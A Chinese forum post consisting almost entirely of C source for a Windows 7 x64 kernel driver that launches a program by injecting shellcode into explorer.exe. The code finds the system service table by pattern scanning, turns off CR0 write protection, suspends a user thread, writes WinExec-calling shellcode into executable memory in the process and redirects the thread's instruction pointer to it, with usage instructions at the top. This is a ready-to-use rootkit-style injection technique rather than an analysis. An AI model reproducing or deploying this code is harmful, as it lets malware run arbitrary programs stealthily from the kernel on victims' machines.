从Windows内核中启动一个R3的程序

[复制链接]

该用户从未签到

2380

主题

2433

帖子

9139

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
9139
QQ
发表于 2017-7-15 23:44:19 | 显示全部楼层 |阅读模式

想要查看内容赶紧注册登陆吧!

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
/*
win7x64下 WinExec执行程序,通过把shellcode注入到explorer.exe进程中
使用方法
#include <inject_shellcode.h>
Ring0Win7X64WinExec();
*/
#define PS_CROSS_THREAD_FLAGS_SYSTEM 0x00000010UL
char* path = "D:\\msxboxtest.exe"; //要执行的程序,路劲大小不要超过40字节
typedef struct _SYSTEM_SERVICE_TABLE{
PVOID ServiceTableBase;
PVOID ServiceCounterTableBase;
ULONGLONG NumberOfServices;
PVOID ParamTableBase;
} SYSTEM_SERVICE_TABLE, *PSYSTEM_SERVICE_TABLE;
typedef
NTSTATUS
(__stdcall *
pfnZwSuspendThread)(
IN HANDLE ThreadHandle,
OUT PULONG PreviousSuspendCount OPTIONAL
);
typedef
NTSTATUS
(__stdcall *
pfnZwSuspendThread)(
IN HANDLE ThreadHandle,
OUT PULONG PreviousSuspendCount OPTIONAL
);
typedef struct _LDR_DATA_TABLE_ENTRY {
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase;
PVOID EntryPoint;
PVOID Reserved3;
UNICODE_STRING FullDllName;
BYTE Reserved4[8];
PVOID Reserved5[3];
union {
ULONG CheckSum;
PVOID Reserved6;
};
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
PSYSTEM_SERVICE_TABLE KeServiceDescriptorTable;
pfnZwSuspendThread KeSuspendThread = NULL;
pfnZwSuspendThread KeResumeThread = NULL;
ULONGLONG PsSuspendThreadAddr = 0;
ULONGLONG g_WinExec;
//PUCHAR ShellCode="\x50\x48\xC7\xC0\x50\x8D\x0C\x77\x48\x8D\x0D\x95\x11\x00\x00\xBA\x05\x00\x00\x00\xFF\xD0\x58\xE9\x78\x56\x34\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
/*
000000013F7F1020 50 push rax
000000013F7F1021 48 C7 C0 50 8D 0C 77 mov rax,0x770C8D50 ; WinExec
000000013F7F1004 48 8D 0D 95 11 00 00 lea rcx,[000000013F7F21A0]
000000013F7F1028 BA 05 00 00 00 mov edx,0x5
000000013F7F102D FF D0 call rax
000000013F7F102F 58 pop rax
*/
ULONGLONG GetKeServiceDescriptorTable64();
ULONGLONG GetSSDTFuncCurAddr(ULONG id);
VOID GetKeResumeThreadAddr();
VOID GetPsSuspendThreadAddr();
VOID GetKeSuspendThreadAddr();
ULONGLONG SearchApiWin7x64();
ULONGLONG GetKeServiceDescriptorTable64();
void WPOFFx64();
void WPONx64();
VOID InjectShellCode(PETHREAD pThread,PEPROCESS pProcess);
BOOLEAN Inject(char* strProc, int len);
VOID Ring0Win7X64WinExec();
typedef struct WorkItemContext{
PWORK_QUEUE_ITEM Item;
HANDLE Pid;
}WorkItemContext;
ULONGLONG GetKeServiceDescriptorTable64() //我的方法
{
PUCHAR StartSearchAddress = (PUCHAR)__readmsr(0xC0000082);
PUCHAR EndSearchAddress = StartSearchAddress + 0x500;
PUCHAR i = NULL;
UCHAR b1 = 0, b2 = 0, b3 = 0;
ULONG templong = 0;
ULONGLONG addr = 0;
for (i = StartSearchAddress; i<EndSearchAddress; i++)
{
if (MmIsAddressValid(i) && MmIsAddressValid(i + 1) && MmIsAddressValid(i + 2))
{
b1 = *i;
b2 = *(i + 1);
b3 = *(i + 2);
if (b1 == 0x4c && b2 == 0x8d && b3 == 0x15) //4c8d15
{
memcpy(&templong, i + 3, 4);
addr = (ULONGLONG)templong + (ULONGLONG)i + 7;
return addr;
}
}
}
return 0;
}
/*
ULONGLONG GetKeServiceDescriptorTable64()
{
char KiSystemServiceStart_pattern[13] = "\x8B\xF8\xC1\xEF\x07\x83\xE7\x20\x25\xFF\x0F\x00\x00";
ULONGLONG CodeScanStart = (ULONGLONG)&_strnicmp;
ULONGLONG CodeScanEnd = (ULONGLONG)&KdDebuggerNotPresent;
UNICODE_STRING Symbol;
ULONGLONG i, tbl_address, b;
for (i = 0; i < CodeScanEnd - CodeScanStart; i++)
{
if (!memcmp((char*)(ULONGLONG)CodeScanStart +i, (char*)KiSystemServiceStart_pattern,13))
{
for (b = 0; b < 50; b++)
{
tbl_address = ((ULONGLONG)CodeScanStart+i+b);
if (*(USHORT*) ((ULONGLONG)tbl_address ) == (USHORT)0x8d4c)
return ((LONGLONG)tbl_address +7) + *(LONG*)(tbl_address +3);
}
}
}
return 0;
}
*/
ULONGLONG GetSSDTFuncCurAddr(ULONG id)
{
LONG dwtmp=0;
PULONG ServiceTableBase=NULL;
KeServiceDescriptorTable = (PSYSTEM_SERVICE_TABLE)GetKeServiceDescriptorTable64();
DbgPrint("KeServiceDescriptorTable addr:%llx", KeServiceDescriptorTable);
if (KeServiceDescriptorTable == 0)
{
return 0;
}
ServiceTableBase=(PULONG)KeServiceDescriptorTable->ServiceTableBase;
dwtmp=ServiceTableBase[id];
dwtmp=dwtmp>>4;
return (LONGLONG)dwtmp + (ULONGLONG)ServiceTableBase;
}
VOID GetKeResumeThreadAddr()
{
ULONG32 callcode=0;
ULONG64 AddressOfPspTTBP=0,AddressOfPsTST=0,i=0; //保存导出PsSuspendThread函数的地址
ULONG64 AddressOfPsTSTHigh32=0;
UNICODE_STRING UniCodeFunctionName;
AddressOfPsTST=GetSSDTFuncCurAddr(79);
if (AddressOfPsTST == 0)
{
return;
}
DbgPrint("NtResumeThread:%llx\n",AddressOfPsTST);
if(KeResumeThread==NULL)
{
if(AddressOfPsTST==0)
return;
//根据特征码寻找 特征码 01 e8
for(i=1;i<0xff;i++)
{
if(MmIsAddressValid((PVOID)(AddressOfPsTST+i))!=FALSE)
{
if(*(BYTE *)(AddressOfPsTST+i)==0x60 && *(BYTE *)(AddressOfPsTST+i+1)==0xe8) //目标地址-原始地址-5=机器码 ==> 目标地址=机器码+5+原始地址
{
DbgPrint("AddressOfPsTST+i:%llx\n",AddressOfPsTST+i);
RtlMoveMemory(&callcode,(PVOID)(AddressOfPsTST+i+2),4);
AddressOfPsTSTHigh32=AddressOfPsTST&0xFFFFFFFF00000000;
AddressOfPspTTBP=(ULONG64)(callcode + 5 + (ULONG32)AddressOfPsTST+i+1)+AddressOfPsTSTHigh32;
break;
}
}
}
KeResumeThread=(pfnZwSuspendThread)AddressOfPspTTBP;
DbgPrint("KeResumeThreadAddr:%llx\n",KeResumeThread);
}
}
VOID GetPsSuspendThreadAddr()
{
ULONG32 callcode=0;
ULONG64 AddressOfPspTTBP=0,AddressOfPsTST=0,i=0; //保存导出PsSuspendThread函数的地址
ULONG64 AddressOfPsTSTHigh32=0;
UNICODE_STRING UniCodeFunctionName;
AddressOfPsTST=GetSSDTFuncCurAddr(379);
if (AddressOfPsTST == 0)
{
return;
}
DbgPrint("NtSuspendThread:%llx\n",AddressOfPsTST);
if(PsSuspendThreadAddr==0)
{
if(AddressOfPsTST==0)
return;
//根据特征码寻找 特征码 01 e8
for(i=1;i<0xff;i++)
{
if(MmIsAddressValid((PVOID)(AddressOfPsTST+i))!=FALSE)
{
if(*(BYTE *)(AddressOfPsTST+i)==0x68 && *(BYTE *)(AddressOfPsTST+i+1)==0xe8) //目标地址-原始地址-5=机器码 ==> 目标地址=机器码+5+原始地址
{
DbgPrint("AddressOfPsTST+i:%llx\n",AddressOfPsTST+i);
RtlMoveMemory(&callcode,(PVOID)(AddressOfPsTST+i+2),4);
AddressOfPsTSTHigh32=AddressOfPsTST&0xFFFFFFFF00000000;
AddressOfPspTTBP=(ULONG64)(callcode + 5 + (ULONG32)AddressOfPsTST+i+1)+AddressOfPsTSTHigh32;
break;
}
}
}
PsSuspendThreadAddr=AddressOfPspTTBP;
DbgPrint("PsSuspendThreadAddr:%llx\n",PsSuspendThreadAddr);
}
}
VOID GetKeSuspendThreadAddr()
{
ULONG64 PspExitThread=0;
ULONG32 callcode=0;
ULONG64 AddressOfPsTSTHigh32=0; //用于保存地址的高32位
ULONG64 AddressOfPspTTBP=0,AddressOfPsTST=0,i=0; //保存导出PsTerminateSystemThread函数的地址
AddressOfPsTST=(ULONG64)PsSuspendThreadAddr;
DbgPrint("PsSuspendThreadAddr:%llx\n",AddressOfPsTST);
if(KeSuspendThread==NULL)
{
if(AddressOfPsTST==0)
return;
//根据特征码寻找 特征码 8b cd e8
for(i=1;i<0xff;i++)
{
if(MmIsAddressValid((PVOID)(AddressOfPsTST+i))!=FALSE)
{
if(*(BYTE *)(AddressOfPsTST+i)==0x8b && *(BYTE *)(AddressOfPsTST+i+1)==0xce && *(BYTE *)(AddressOfPsTST+i+2)==0xe8) //目标地址-原始地址-5=机器码 ==> 目标地址=机器码+5+原始地址
{
RtlMoveMemory(&callcode,(PVOID)(AddressOfPsTST+i+3),4);
DbgPrint("callcode:%llx\n",(ULONG64)callcode);
AddressOfPsTSTHigh32=AddressOfPsTST&0xFFFFFFFF00000000;
AddressOfPspTTBP=(ULONG64)(callcode + 5 + (ULONG32)AddressOfPsTST+i+2)+AddressOfPsTSTHigh32;
break;
}
}
}
KeSuspendThread=(pfnZwSuspendThread)AddressOfPspTTBP;
DbgPrint("KeSuspendThread:%llx\n",KeSuspendThread);
}
}
ULONGLONG SearchApiWin7x64()
{
PPEB peb = NULL;
PUCHAR lpname = NULL;
ULONGLONG peb_ldr_data;
ULONGLONG ModuleList;
ULONGLONG dllbase;
ULONGLONG exe_header;
ULONGLONG MyOptionalHeader;
ULONG OutputRva;
ULONG MyAddressOfNames;
ULONG MyVirtualAddressVal;
ULONG AddrOfNamesRva;
ULONG myFunRva;
ULONG NumberOfNames;
ULONGLONG FuncAddr;
ULONG AddrOfFuncsRva;
ULONGLONG WinExecAddr;
ULONG WinExecAddrRva;
PSTR myFun;
PLDR_DATA_TABLE_ENTRY data = NULL;
UNICODE_STRING sFullDllName;
PEPROCESS pSystemProcess = PsGetCurrentProcess();
PLIST_ENTRY pCurrentList = (PLIST_ENTRY)((PUCHAR)pSystemProcess + 0x188); //ActiveProcessLinks
PLIST_ENTRY pTempList = pCurrentList;
PEPROCESS pEProcess = NULL;
do{
pEProcess = (PEPROCESS)((PUCHAR)pTempList - 0x188);
peb = (PPEB)(*(PULONGLONG)((PUCHAR)pEProcess + 0x338)); //peb
lpname = (PUCHAR)pEProcess + 0x2e0; // ImageFileName
//DbgPrint("process %s\n", lpname);
if((peb != NULL)&&(_strnicmp(lpname, "explorer.exe", 8) == 0)) //找到进程 explorer.exe
{
PKAPC_STATE pKs = (PKAPC_STATE)ExAllocatePool(NonPagedPool, sizeof(PKAPC_STATE));
DbgPrint("process %s\n", lpname);
KeStackAttachProcess((PKPROCESS)pEProcess,pKs);
peb_ldr_data = *(PULONGLONG)((PUCHAR)peb+0x018);
DbgPrint("peb_ldr_data: %llx\n", peb_ldr_data);
ModuleList = *(PULONGLONG)((PUCHAR)peb_ldr_data+0x030);
data = (PLDR_DATA_TABLE_ENTRY)((PUCHAR)ModuleList-0x020);
sFullDllName= data->FullDllName;
//找到kernel32.dll
while(wcsstr(sFullDllName.Buffer,L"kernel32.dll") == NULL)
{
ModuleList =*(PULONGLONG) ModuleList; //取下一个模块
data = (PLDR_DATA_TABLE_ENTRY)((PUCHAR)ModuleList-0x020);
sFullDllName= data->FullDllName;
}
data = (PLDR_DATA_TABLE_ENTRY)((PUCHAR)ModuleList-0x020); //此时的data为kernel32.dll对应的LDR_DATA_TABLE_ENTRY结构体
sFullDllName= data->FullDllName;
dllbase = *(PULONGLONG)((PUCHAR)data+0x030);
DbgPrint("dllbase:%llx\n",dllbase);
exe_header = dllbase+(*(PULONG)(dllbase+0x3c)); //PE header
DbgPrint("exe_header:%llx\n",exe_header);
MyOptionalHeader=exe_header+0x018;
DbgPrint("MyOptionalHeader:%llx\n",MyOptionalHeader);
MyVirtualAddressVal = *(PULONG)(MyOptionalHeader+0x070); //VirtualAddressVal的值
DbgPrint("MyVirtualAddressVal:%x\n",MyVirtualAddressVal);
NumberOfNames = *(PULONG)(MyVirtualAddressVal + dllbase + 0x18); //函数的数量
AddrOfFuncsRva = *(PULONG)(MyVirtualAddressVal + dllbase + 0x1c); //AddrOfFuns的rva
WinExecAddrRva = *(PULONG)(AddrOfFuncsRva+dllbase+(0x528-0x1)*4); //winexec偏移地址
DbgPrint("WinExecAddrRva:%x\n",WinExecAddrRva);
WinExecAddr =WinExecAddrRva+dllbase; //winexec地址
DbgPrint("WinExecAddr:%llx\n",WinExecAddr);
//以下是获取第一个函数名字代码
/*
AddrOfNamesRva=*(PULONG)((ULONGLONG)MyVirtualAddressVal + dllbase + 0x20); //AddrOfNames的偏移地址
DbgPrint("AddrOfNamesRva:%x\n",AddrOfNamesRva);
myFunRva = *(PULONG)((ULONGLONG)AddrOfNamesRva + dllbase); //函数名字的偏移地址
myFun = (PSTR)((ULONGLONG)myFunRva + dllbase ); //函数名字的地址
DbgPrint("myFun:%s\n",myFun);
*/
KeUnstackDetachProcess(pKs);
}
pTempList = pTempList->Flink;//下一个活动的进程
} while(pCurrentList != pTempList);
return WinExecAddr;
}
void WPOFFx64()
{
UINT64 cr0=__readcr0();
cr0 &= 0xfffffffffffeffff;
__writecr0(cr0);
_disable();
}
//打开写保护
void WPONx64()
{
UINT64 cr0=__readcr0();
cr0 |= 0x10000;
_enable();
__writecr0(cr0);
}
VOID InjectShellCode(PETHREAD pThread,PEPROCESS pProcess)
{
ULONGLONG i;
ULONGLONG startaddr;
PKTRAP_FRAME pTrapFrame;
ULONG jmpOffset;
PCLIENT_ID pCid;
OBJECT_ATTRIBUTES oa;
HANDLE hProcess;
NTSTATUS ntstatus;
PVOID lpTargetPath = NULL;
ULONGLONG pathAddr;
ULONGLONG patht;
ULONG offAddr;
KIRQL irql;
int len;
PUCHAR ShellCode_Const = "\x50\x48\xC7\xC0\x50\x8D\x0C\x77\x48\x8D\x0D\x95\x11\x00\x00\xBA\x05\x00\x00\x00\xFF\xD0\x58\xE9\x78\x56\x34\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
PUCHAR ShellCode = ExAllocatePool(PagedPool, 72);
RtlMoveMemory(ShellCode, ShellCode_Const, 72);
DbgBreakPoint();
DbgPrint("Inject Start\n");
__try {
KeSuspendThread(pThread, NULL);
}
__except(1) {
return;
}
// PTrapFrame中就是该线程的各个寄存器的值
pTrapFrame = *(PKTRAP_FRAME*)((ULONGLONG)pThread + 0x1d8);
//如果
if (pTrapFrame == 0)
{
return;
}
DbgPrint("pTrapFrame:%llx\n",pTrapFrame);
DbgPrint("ShellCode addr:%llx\n",ShellCode);
startaddr = (ULONGLONG)ShellCode;
WPOFFx64();
RtlCopyMemory((PUCHAR)startaddr + 4, &g_WinExec, 4); //填写winexec地址
lpTargetPath = (PVOID)((ULONGLONG)startaddr + 32);
memset(lpTargetPath, 0, 40);
DbgPrint("path len:%d\n",strlen(path));
DbgPrint("path addr: %llx\n",path);
pathAddr = ((ULONGLONG)startaddr + 40);
offAddr = (ULONG)(pathAddr-startaddr-15);
RtlCopyMemory((PVOID)((PUCHAR)startaddr + 40), path, 32); //拷贝path字符串到shellcode中
RtlCopyMemory((PUCHAR)startaddr + 11, &offAddr, 4); //拷贝偏移量到shellcode中
WPONx64();
// 下面的代码是分配空间来放置ShellCode
InitializeObjectAttributes(&oa,0,0,0,0);
pCid = (CLIENT_ID*)((ULONGLONG)pThread + 0x3b8);
ntstatus = ZwOpenProcess(
&hProcess,
PROCESS_ALL_ACCESS,
&oa,
pCid
);
if ( NT_SUCCESS(ntstatus) )
{
PVOID pBuff = NULL;
SIZE_T size = 0x64;
ntstatus = ZwAllocateVirtualMemory(
hProcess,
&pBuff,
0,
&size,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
if( NT_SUCCESS(ntstatus) )
{
KAPC_STATE kapc;
// 拷贝ShellCode到目标进程中去
KeStackAttachProcess((PRKPROCESS)pProcess,&kapc);
//设置jmp 原rip
DbgPrint("buf addr:%llx\n",pBuff);
DbgPrint("Rip:%llx]n",(ULONGLONG)pTrapFrame->Rip);
jmpOffset=(ULONG)(((ULONG)pTrapFrame->Rip)-(ULONG)pBuff-0x1c);
for( i = startaddr; i <= startaddr + 0x72; ++i ) {
if( MmIsAddressValid((PVOID)i) && MmIsAddressValid((PVOID)(i+7)) ){
if ( *(PULONG)i == 0x12345678 )
{
DbgPrint("find modify point\n");
WPOFFx64();
*(PULONG)i = jmpOffset;//修改跳转地址,执行完shellcode跳到原Rip
WPONx64();
break;
}
}
}
RtlCopyMemory(pBuff,ShellCode,72);//拷贝ShellCode过去
KeUnstackDetachProcess (&kapc);
// pTrapFrame->Eip指向ShellCode
DbgPrint("buf addr:%llx\n",pBuff);
pTrapFrame->Rip = (ULONGLONG)pBuff;
}
ZwClose(hProcess);
}
KeResumeThread(pThread, NULL);
DbgPrint("Inject End\n");
}
BOOLEAN Inject(char* strProc, int len)
{
PPEB peb = NULL;
PUCHAR lpname = NULL;
PEPROCESS pProcess;
PETHREAD pThread;
PLIST_ENTRY pListHead, pNextEntry;
PLIST_ENTRY pThListHead, pThNextEntry;
UCHAR SuspendCount;
ULONG CrossThreadFlags;
pProcess = PsGetCurrentProcess();
pListHead = (PLIST_ENTRY)((PUCHAR)pProcess + 0x188); //win7x64下是188 //ActiveProcessLinks
pNextEntry = pListHead;
do
{
pProcess = (PEPROCESS)((ULONGLONG)pNextEntry - 0x188);
peb = (PPEB)(*(PULONGLONG)((PUCHAR)pProcess + 0x338)); //peb
lpname = (PUCHAR)pProcess + 0x2e0; // ImageFileName
DbgPrint("process %s\n", lpname);
//if( !_strnicmp((char*)pProcess + 0x2e0, strProc, len) )
if( !_strnicmp(lpname, strProc, len) )
{
DbgPrint("find process\n");
pThListHead = (PLIST_ENTRY)((ULONGLONG)pProcess + 0x308);
pThNextEntry = pThListHead->Flink;
while ( pThNextEntry != pThListHead)
{
//查找符合条件的线程
pThread = (PETHREAD)((ULONGLONG)pThNextEntry - 0x428);
SuspendCount = *(PUCHAR)((ULONGLONG)pThread + 0x26c);
CrossThreadFlags = *(PULONG)((ULONGLONG)pThread + 0x450);
if( !SuspendCount && (CrossThreadFlags & PS_CROSS_THREAD_FLAGS_SYSTEM) == 0 )
{
//非Suspen,非退出,非内核
DbgPrint("find thread\n");
DbgPrint("pThread addr:%llx\n",pThread);
InjectShellCode(pThread,pProcess);
return TRUE;
break;
}
pThNextEntry = pThNextEntry->Flink;
}
break;
}
pNextEntry = pNextEntry->Flink;
} while(pNextEntry != pListHead);
return FALSE;
}
VOID Ring0Win7X64WinExec()
{
//得到KeSuspendThreadAddr地址
GetPsSuspendThreadAddr();
GetKeSuspendThreadAddr();
//得到KeResumeThread地址
GetKeResumeThreadAddr();
//获取WinExec地址
g_WinExec = SearchApiWin7x64();
Inject("explorer.exe",8);
}

回复

使用道具 举报

快速回复高级模式
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表